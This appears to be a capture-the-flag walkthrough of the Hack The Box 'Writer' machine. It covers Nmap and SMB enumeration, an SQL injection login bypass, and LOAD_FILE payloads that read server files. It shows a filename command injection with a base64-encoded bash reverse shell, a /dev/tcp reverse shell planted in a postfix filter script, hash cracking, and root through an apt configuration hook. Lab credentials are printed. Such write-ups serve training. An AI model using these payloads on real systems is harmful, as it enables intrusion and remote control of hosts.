### Enumeration ``` Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-09 23:43 EAT Nmap scan report for 10.10.11.101 Host is up (0.21s latency). Not shown: 995 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA) | 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA) |_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Story Bank | Writer.HTB 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 2909/tcp filtered funk-dialout Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: 16m36s | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb2-time: | date: 2021-12-09T21:00:31 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.76 seconds ``` Found it running with Samba ! ``` ┌[cyberwarriors]─[23:44-09/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest] └╼tahaafarooq$smbclient -L //10.10.11.101/ -N Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers writer2_project Disk IPC$ IPC IPC Service (writer server (Samba, Ubuntu)) SMB1 disabled -- no workgroup available ``` I now decide to run `enum4linux` to get more information about this machine, as it's running I was able to know the two domains ; `WRITER` and `Builtin` , and I was also able to get a user: ``` ============================= | Users on 10.10.11.101 | ============================= index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: kyle Name: Kyle Travis Desc: user:[kyle] rid:[0x3e8] ``` But more users started popping up when enumeration was performed on users via RID cycling, where i was able to get 3 usernames which are : ```= kyle john nobody ``` Since I now have the usernames but no password , so I check the web: ![](https://i.imgur.com/qqWbGDY.png) I didn't find anything interesting , so i decide to perform a dirbust , using gobuster, and as it's running I was able to get `/administrative` ![](https://i.imgur.com/eYXudbg.png) which is actually an admin panel: ![](https://i.imgur.com/zjPvz3D.png) I get curious to try out bypassing the login with sqli as my first move! ![](https://i.imgur.com/M5jMxuC.png) and voila!! I was redirected to the Dashboard! ![](https://i.imgur.com/MAsicbR.png) ### EXPLOITATION I tried reading the database with sqlmap , but didn't work as I expected ,so the only move left was for me to do it manually , which had me doing a lot of trials ! and query structuring , because each query I wrote would either run or bring back an error, after a few trials , I was able to come up with a query that would read the files witha help of a friend after struggling for hours! ![](https://i.imgur.com/ADwUmtw.png) So it worked with the payload : `uname=admin' UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5;--&password=anything` `UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5;--` The next thing I do now is read the apache conf files, So as I can get a hand upon the source codes! and to do that I read : `/etc/apache2/sites-enabled/000-default.conf` ![](https://i.imgur.com/gAgfX1T.png) `WSGIScriptAlias / /var/www/writer.htb/writer.wsgi` this line caught up my eyes and I decided to read it up, since now we know that the web is hosted from `/var/www/writer.htb/` writer.wsgi ```python Welcome admin#!/usr/bin/python import sys import logging import random import os # Define logging logging.basicConfig(stream=sys.stderr) sys.path.insert(0,&#34;/var/www/writer.htb/&#34;) # Import the __init__.py from the app folder from writer import app as application application.secret_key = os.environ.get(&#34;SECRET_KEY&#34;, &#34;&#34;) ``` and I got another hint from the code :`# Import the __init__.py from the app folder` so let's try reading `__init__.py` and here is the code: ```python= Welcome adminfrom flask import Flask, session, redirect, url_for, request, render_template from mysql.connector import errorcode import mysql.connector import urllib.request import os import PIL from PIL import Image, UnidentifiedImageError import hashlib app = Flask(__name__,static_url_path=&#39;&#39;,static_folder=&#39;static&#39;,template_folder=&#39;templates&#39;) #Define connection for database def connections(): try: connector = mysql.connector.connect(user=&#39;admin&#39;, password=&#39;ToughPasswordToCrack&#39;, host=&#39;127.0.0.1&#39;, database=&#39;writer&#39;) return connector except mysql.connector.Error as err: if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: return (&#34;Something is wrong with your db user name or password!&#34;) elif err.errno == errorcode.ER_BAD_DB_ERROR: return (&#34;Database does not exist&#34;) else: return (&#34;Another exception, returning!&#34;) else: print (&#39;Connection to DB is ready!&#39;) #Define homepage @app.route(&#39;/&#39;) def home_page(): try: connector = connections() except mysql.connector.Error as err: return (&#34;Database error&#34;) cursor = connector.cursor() sql_command = &#34;SELECT * FROM stories;&#34; cursor.execute(sql_command) results = cursor.fetchall() return render_template(&#39;blog/blog.html&#39;, results=results) #Define about page @app.route(&#39;/about&#39;) def about(): return render_template(&#39;blog/about.html&#39;) #Define contact page @app.route(&#39;/contact&#39;) def contact(): return render_template(&#39;blog/contact.html&#39;) #Define blog posts @app.route(&#39;/blog/post/&lt;id&gt;&#39;, methods=[&#39;GET&#39;]) def blog_post(id): try: connector = connections() except mysql.connector.Error as err: return (&#34;Database error&#34;) cursor = connector.cursor() cursor.execute(&#34;SELECT * FROM stories WHERE id = %(id)s;&#34;, {&#39;id&#39;: id}) results = cursor.fetchall() sql_command = &#34;SELECT * FROM stories;&#34; cursor.execute(sql_command) stories = cursor.fetchall() return render_template(&#39;blog/blog-single.html&#39;, results=results, stories=stories) #Define dashboard for authenticated users @app.route(&#39;/dashboard&#39;) def dashboard(): if not (&#39;user&#39; in session): return redirect(&#39;/&#39;) return render_template(&#39;dashboard.html&#39;) #Define stories page for dashboard and edit/delete pages @app.route(&#39;/dashboard/stories&#39;) def stories(): if not (&#39;user&#39; in session): return redirect(&#39;/&#39;) try: connector = connections() except mysql.connector.Error as err: return (&#34;Database error&#34;) cursor = connector.cursor() sql_command = &#34;Select * From stories;&#34; cursor.execute(sql_command) results = cursor.fetchall() return render_template(&#39;stories.html&#39;, results=results) @app.route(&#39;/dashboard/stories/add&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;]) def add_story(): if not (&#39;user&#39; in session): return redirect(&#39;/&#39;) try: connector = connections() except mysql.connector.Error as err: return (&#34;Database error&#34;) if request.method == &#34;POST&#34;: if request.files[&#39;image&#39;]: image = request.files[&#39;image&#39;] if &#34;.jpg&#34; in image.filename: path = os.path.join(&#39;/var/www/writer.htb/writer/static/img/&#39;, image.filename) image.save(path) image = &#34;/img/{}&#34;.format(image.filename) else: error = &#34;File extensions must be in .jpg!&#34; return render_template(&#39;add.html&#39;, error=error) if request.form.get(&#39;image_url&#39;): image_url = request.form.get(&#39;image_url&#39;) if &#34;.jpg&#34; in image_url: try: local_filename, headers = urllib.request.urlretrieve(image_url) os.system(&#34;mv {} {}.jpg&#34;.format(local_filename, local_filename)) image = &#34;{}.jpg&#34;.format(local_filename) try: im = Image.open(image) im.verify() im.close() image = image.replace(&#39;/tmp/&#39;,&#39;&#39;) os.system(&#34;mv /tmp/{} /var/www/writer.htb/writer/static/img/{}&#34;.format(image, image)) image = &#34;/img/{}&#34;.format(image) except PIL.UnidentifiedImageError: os.system(&#34;rm {}&#34;.format(image)) error = &#34;Not a valid image file!&#34; return render_template(&#39;add.html&#39;, error=error) except: error = &#34;Issue uploading picture&#34; return render_template(&#39;add.html&#39;, error=error) else: error = &#34;File extensions must be in .jpg!&#34; return render_template(&#39;add.html&#39;, error=error) author = request.form.get(&#39;author&#39;) title = request.form.get(&#39;title&#39;) tagline = request.form.get(&#39;tagline&#39;) content = request.form.get(&#39;content&#39;) cursor = connector.cursor() cursor.execute(&#34;INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,&#39;Published&#39;,now(),%(image)s);&#34;, {&#39;author&#39;:author,&#39;title&#39;: title,&#39;tagline&#39;: tagline,&#39;content&#39;: content, &#39;image&#39;:image }) result = connector.commit() return redirect(&#39;/dashboard/stories&#39;) else: return render_template(&#39;add.html&#39;) @app.route(&#39;/dashboard/stories/edit/&lt;id&gt;&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;]) def edit_story(id): if not (&#39;user&#39; in session): return redirect(&#39;/&#39;) try: connector = connections() except mysql.connector.Error as err: return (&#34;Database error&#34;) if request.method == &#34;POST&#34;: cursor = connector.cursor() cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id}) results = cursor.fetchall() if request.files[&#39;image&#39;]: image = request.files[&#39;image&#39;] if &#34;.jpg&#34; in image.filename: path = os.path.join(&#39;/var/www/writer.htb/writer/static/img/&#39;, image.filename) image.save(path) image = &#34;/img/{}&#34;.format(image.filename) cursor = connector.cursor() cursor.execute(&#34;UPDATE stories SET image = %(image)s WHERE id = %(id)s&#34;, {&#39;image&#39;:image, &#39;id&#39;:id}) result = connector.commit() else: error = &#34;File extensions must be in .jpg!&#34; return render_template(&#39;edit.html&#39;, error=error, results=results, id=id) if request.form.get(&#39;image_url&#39;): image_url = request.form.get(&#39;image_url&#39;) if &#34;.jpg&#34; in image_url: try: local_filename, headers = urllib.request.urlretrieve(image_url) os.system(&#34;mv {} {}.jpg&#34;.format(local_filename, local_filename)) image = &#34;{}.jpg&#34;.format(local_filename) try: im = Image.open(image) im.verify() im.close() image = image.replace(&#39;/tmp/&#39;,&#39;&#39;) os.system(&#34;mv /tmp/{} /var/www/writer.htb/writer/static/img/{}&#34;.format(image, image)) image = &#34;/img/{}&#34;.format(image) cursor = connector.cursor() cursor.execute(&#34;UPDATE stories SET image = %(image)s WHERE id = %(id)s&#34;, {&#39;image&#39;:image, &#39;id&#39;:id}) result = connector.commit() except PIL.UnidentifiedImageError: os.system(&#34;rm {}&#34;.format(image)) error = &#34;Not a valid image file!&#34; return render_template(&#39;edit.html&#39;, error=error, results=results, id=id) except: error = &#34;Issue uploading picture&#34; return render_template(&#39;edit.html&#39;, error=error, results=results, id=id) else: error = &#34;File extensions must be in .jpg!&#34; return render_template(&#39;edit.html&#39;, error=error, results=results, id=id) title = request.form.get(&#39;title&#39;) tagline = request.form.get(&#39;tagline&#39;) content = request.form.get(&#39;content&#39;) cursor = connector.cursor() cursor.execute(&#34;UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s&#34;, {&#39;title&#39;:title, &#39;tagline&#39;:tagline, &#39;content&#39;:content, &#39;id&#39;: id}) result = connector.commit() return redirect(&#39;/dashboard/stories&#39;) else: cursor = connector.cursor() cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id}) results = cursor.fetchall() return render_template(&#39;edit.html&#39;, results=results, id=id) @app.route(&#39;/dashboard/stories/delete/&lt;id&gt;&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;]) def delete_story(id): if not (&#39;user&#39; in session): return redirect(&#39;/&#39;) try: connector = connections() except mysql.connector.Error as err: return (&#34;Database error&#34;) if request.method == &#34;POST&#34;: cursor = connector.cursor() cursor.execute(&#34;DELETE FROM stories WHERE id = %(id)s;&#34;, {&#39;id&#39;: id}) result = connector.commit() return redirect(&#39;/dashboard/stories&#39;) else: cursor = connector.cursor() cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id}) results = cursor.fetchall() return render_template(&#39;delete.html&#39;, results=results, id=id) #Define user page for dashboard @app.route(&#39;/dashboard/users&#39;) def users(): if not (&#39;user&#39; in session): return redirect(&#39;/&#39;) try: connector = connections() except mysql.connector.Error as err: return &#34;Database Error&#34; cursor = connector.cursor() sql_command = &#34;SELECT * FROM users;&#34; cursor.execute(sql_command) results = cursor.fetchall() return render_template(&#39;users.html&#39;, results=results) #Define settings page @app.route(&#39;/dashboard/settings&#39;, methods=[&#39;GET&#39;]) def settings(): if not (&#39;user&#39; in session): return redirect(&#39;/&#39;) try: connector = connections() except mysql.connector.Error as err: return &#34;Database Error!&#34; cursor = connector.cursor() sql_command = &#34;SELECT * FROM site WHERE id = 1&#34; cursor.execute(sql_command) results = cursor.fetchall() return render_template(&#39;settings.html&#39;, results=results) #Define authentication mechanism @app.route(&#39;/administrative&#39;, methods=[&#39;POST&#39;, &#39;GET&#39;]) def login_page(): if (&#39;user&#39; in session): return redirect(&#39;/dashboard&#39;) if request.method == &#34;POST&#34;: username = request.form.get(&#39;uname&#39;) password = request.form.get(&#39;password&#39;) password = hashlib.md5(password.encode(&#39;utf-8&#39;)).hexdigest() try: connector = connections() except mysql.connector.Error as err: return (&#34;Database error&#34;) try: cursor = connector.cursor() sql_command = &#34;Select * From users Where username = &#39;%s&#39; And password = &#39;%s&#39;&#34; % (username, password) cursor.execute(sql_command) results = cursor.fetchall() for result in results: print(&#34;Got result&#34;) if result and len(result) != 0: session[&#39;user&#39;] = username return render_template(&#39;success.html&#39;, results=results) else: error = &#34;Incorrect credentials supplied&#34; return render_template(&#39;login.html&#39;, error=error) except: error = &#34;Incorrect credentials supplied&#34; return render_template(&#39;login.html&#39;, error=error) else: return render_template(&#39;login.html&#39;) @app.route(&#34;/logout&#34;) def logout(): if not (&#39;user&#39; in session): return redirect(&#39;/&#39;) session.pop(&#39;user&#39;) return redirect(&#39;/&#39;) if __name__ == &#39;__main__&#39;: app.run(&#34;0.0.0.0&#34;) ``` ### INITIAL FOOTHOLD From reading the code , i was able to see a part of a condition where `os.system()` was used and there could be a command injection on the file name: ```python if request.form.get('image_url'): image_url = request.form.get('image_url') if ".jpg" in image_url: try: local_filename, headers = urllib.request.urlretrieve(image_url) os.system("mv {} {}.jpg".format(local_filename, local_filename)) image = "{}.jpg".format(local_filename) try: im = Image.open(image) im.verify() im.close() image = image.replace('/tmp/','') os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image)) image = "/img/{}".format(image) except PIL.UnidentifiedImageError: os.system("rm {}".format(image)) error = "Not a valid image file!" return render_template('add.html', error=error) ``` So I now make up a base64 encoded payload which shall be executed to give back a reverse shell , and then I shall create a file before the whole rev shell given , and on the file it shall be named something.jpg and then backtick + base64 encoded payload + | base64 -d + | bash ``` ┌[cyberwarriors]─[00:32-10/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest] └╼tahaafarooq$touch 'something.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjIwMS8xMjM0IDwmMSc= | base64 -d | bash `;' ``` just like that and now it's show time! BURPSUITE ![](https://i.imgur.com/NYVRjuL.png) REVSHELL ![](https://i.imgur.com/vAWIBkz.png) So we now have initial foothold as `www-data` So now I just perform some lateral movement and I was able to find the share folder that was also in smb , `writer2_project` ``` www-data@writer:/var/www/writer2_project$ ls -al ls -al total 32 drwxrws--- 6 www-data smbgroup 4096 Aug 2 06:52 . drwxr-xr-x 5 root root 4096 Jun 22 17:55 .. -r-xr-sr-x 1 www-data smbgroup 806 Dec 9 22:04 manage.py -r-xr-sr-x 1 www-data smbgroup 15 Dec 9 22:04 requirements.txt dr-xr-sr-x 3 www-data smbgroup 4096 May 16 2021 static dr-xr-sr-x 4 www-data smbgroup 4096 Jul 9 10:59 staticfiles dr-xr-sr-x 4 www-data smbgroup 4096 May 19 2021 writer_web dr-xr-sr-x 3 www-data smbgroup 4096 May 19 2021 writerv2 ``` but nothing important was in there so I now try checking for the behavior ``` netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 127.0.0.1:38616 ESTABLISHED tcp 0 1 10.10.11.101:53446 1.1.1.1:53 SYN_SENT tcp 0 0 127.0.0.1:38616 127.0.0.1:3306 ESTABLISHED tcp 0 0 10.10.11.101:52290 10.10.14.111:4444 CLOSE_WAIT tcp 0 13 10.10.11.101:44898 10.10.14.201:1234 ESTABLISHED tcp6 0 0 :::139 :::* LISTEN tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 :::445 :::* LISTEN tcp6 0 0 10.10.11.101:80 10.10.14.201:49460 ESTABLISHED ``` I can see that port 3306 is running internally, so my next move now is try looking for the configurations files inside `/etc/mysql` ``` www-data@writer:/etc/mysql$ ls -la ls -la total 32 drwxr-xr-x 4 root root 4096 Jul 9 10:59 . drwxr-xr-x 102 root root 4096 Jul 28 06:32 .. drwxr-xr-x 2 root root 4096 May 18 2021 conf.d -rwxr-xr-x 1 root root 1620 May 9 2021 debian-start -rw------- 1 root root 261 May 18 2021 debian.cnf -rw-r--r-- 1 root root 972 May 19 2021 mariadb.cnf drwxr-xr-x 2 root root 4096 May 18 2021 mariadb.conf.d lrwxrwxrwx 1 root root 24 May 18 2021 my.cnf -> /etc/alternatives/my.cnf -rw-r--r-- 1 root root 839 Aug 3 2016 my.cnf.fallback ``` Reading `mariadb.cnf` I was able to get creds: ``` www-data@writer:/etc/mysql$ cat mariadb.cnf cat mariadb.cnf # The MariaDB configuration file # # The MariaDB/MySQL tools read configuration files in the following order: # 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults, # 2. "/etc/mysql/conf.d/*.cnf" to set global options. # 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options. # 4. "~/.my.cnf" to set user-specific options. # # If the same option is defined multiple times, the last one will apply. # # One can use all long options that the program supports. # Run program with --help to get a list of available options and with # --print-defaults to see which it would actually understand and use. # # This group is read both both by the client and the server # use it for options that affect everything # [client-server] # Import all .cnf files from configuration directory !includedir /etc/mysql/conf.d/ !includedir /etc/mysql/mariadb.conf.d/ [client] database = dev user = djangouser password = DjangoSuperPassword default-character-set = utf8 ``` Now I try logging in with those creds : ``` www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p mysql -u djangouser -h 127.0.0.1 -p Enter password: DjangoSuperPassword show databases; exit; ERROR 1064 (42000) at line 4: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'exit' at line 1 Database dev information_schema ``` I was able to log in but the results were soo crazy , like I would write in an input , but the output would only show when I exit......SMH ``` www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p mysql -u djangouser -h 127.0.0.1 -p Enter password: DjangoSuperPassword use dev; show tables; exit Tables_in_dev auth_group auth_group_permissions auth_permission auth_user auth_user_groups auth_user_user_permissions django_admin_log django_content_type django_migrations django_session ``` This is torture :( ``` www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p mysql -u djangouser -h 127.0.0.1 -p Enter password: DjangoSuperPassword use dev; select * from auth_user; exit id password last_login is_superuser username first_name last_name email is_staff is_active date_joined 1 pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= NULL 1 kylekyle@writer.htb 1 1 2021-05-19 12:41:37.168368 ``` Alright something at last ! I was able to now get this password which was in a weird hash format that I never encountered before ! and it was for user `kyle` the one we got on the instance we decided to execute `enum4linux` , So time for hashcat to play it's role! ``` ┌[cyberwarriors]─[01:05-10/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest] └╼tahaafarooq$hashcat -a 0 -m 10000 hash --wordlist /opt/SecLists/Passwords/Leaked-Databases/rockyou-55.txt ``` ![](https://i.imgur.com/MGXM96m.png) And finally the password is `marcoantonio`, now time to SSH ### SSH-ing to Kyle ![](https://i.imgur.com/UDiCLbl.png) Now checking a list of files available at this user's home dir we got something interesting: ``` kyle@writer:~$ ls disclaimer sendmail.py user.txt ``` __DISCLAIMER__ ```bash kyle@writer:~$ cat disclaimer #!/bin/bash # Localize these. bash -i &>/dev/tcp/10.10.14.111/4444 0>&1 INSPECT_DIR=/var/spool/filter SENDMAIL=/usr/sbin/sendmail # Get disclaimer addresses DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses # Exit codes from <sysexits.h> EX_TEMPFAIL=75 EX_UNAVAILABLE=69 # Clean up when done or when aborting. trap "rm -f in.$$" 0 1 2 3 15 # Start processing. cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit $EX_TEMPFAIL; } cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; } # obtain From address from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1` if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then /usr/bin/altermime --input=in.$$ \ --disclaimer=/etc/postfix/disclaimer.txt \ --disclaimer-html=/etc/postfix/disclaimer.txt \ --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \ { echo Message content rejected; exit $EX_UNAVAILABLE; } fi $SENDMAIL "$@" <in.$$ exit $? ``` __SENDMAIL__ ```python import smtplib host = '127.0.0.1' port = 25 sender_email = "kyle@writer.htb" receiver_email = "kyle@writer.htb" message = """\ Subject: Hi there Test_python_sender.""" try: server = smtplib.SMTP(host, port) server.ehlo() server.sendmail(sender_email, receiver_email, message) except Exception as e: print(e) finally: server.quit()k ``` So after reading the disclaimer bash script I understood that it's executed to get an approve of some sort when an email is sent, so we can add a reverse shell to it and then copy it to `/etc/postfix` and we can send an email to the user john who apparently should have the next link to root , since we can't send the email directly to root, not sure if we can... ``` kyle@writer:~$ cat disclaimer #!/bin/bash # Localize these. bash -i &>/dev/tcp/10.10.14.201/1337 0>&1 INSPECT_DIR=/var/spool/filter SENDMAIL=/usr/sbin/sendmail # Get disclaimer addresses DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses # Exit codes from <sysexits.h> EX_TEMPFAIL=75 EX_UNAVAILABLE=69 # Clean up when done or when aborting. trap "rm -f in.$$" 0 1 2 3 15 # Start processing. cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit $EX_TEMPFAIL; } cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; } # obtain From address from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1` if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then /usr/bin/altermime --input=in.$$ \ --disclaimer=/etc/postfix/disclaimer.txt \ --disclaimer-html=/etc/postfix/disclaimer.txt \ --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \ { echo Message content rejected; exit $EX_UNAVAILABLE; } fi $SENDMAIL "$@" <in.$$ exit $? ``` and now we copy this file to `/etc/postfix`, tried it manually but I wasn't too fast ,so I guess I need to write a script to simplify this! So I now write a python script that will simplify sending the message real quick! ```python= #!/usr/bin/env python3 import smtplib host = '127.0.0.1' port = 25 From = 'kyle@writer.htb' To = 'john@writer.htb' Message = '''\ Subject: Greetings John You are hacked! ''' try: io = smtplib.SMTP(host,port) io.ehlo() io.sendmail(From,To,Message) except Exception as e: print(e) finally: io.quit() ``` ![](https://i.imgur.com/yylLk0l.png) And I now have shell as john ``` ┌─[tahaafarooq@cyberwarriors]─[~] └──╼ $nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.14.145] from (UNKNOWN) [10.10.11.101] 50584 bash: cannot set terminal process group (16906): Inappropriate ioctl for device bash: no job control in this shell john@writer:/var/spool/postfix$ whoami && hostname whoami && hostname john writer ``` So i tried checking the groups i'm in hoping i'd at least be sudo ``` john@writer:~$ id uid=1001(john) gid=1001(john) groups=1001(john),1003(management) ``` but found out i'm in a group known as `management` So I now look for files that I can access using that group! ``` john@writer:~$ find / -group management 2>/dev/null /etc/apt/apt.conf.d ``` I dig more about what I could do and found : https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/ ### PRIVILEGE ESCALATION And found out that `apt-get update` is running after every second I guess, and we could exploit this since we have writer permissions to the `apt.conf.d` folder, by writing a malicious file giving it a line which will allow us to get a reverse shell once it's updated ![](https://i.imgur.com/kKgzG6n.png) ``` ┌─[tahaafarooq@cyberwarriors]─[~] └──╼ $nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.14.145] from (UNKNOWN) [10.10.11.101] 52518 bash: cannot set terminal process group (17712): Inappropriate ioctl for device bash: no job control in this shell root@writer:/tmp# whoami whoami root root@writer:/tmp# id id uid=0(root) gid=0(root) groups=0(root) ``` And Now ROOT IS EARNED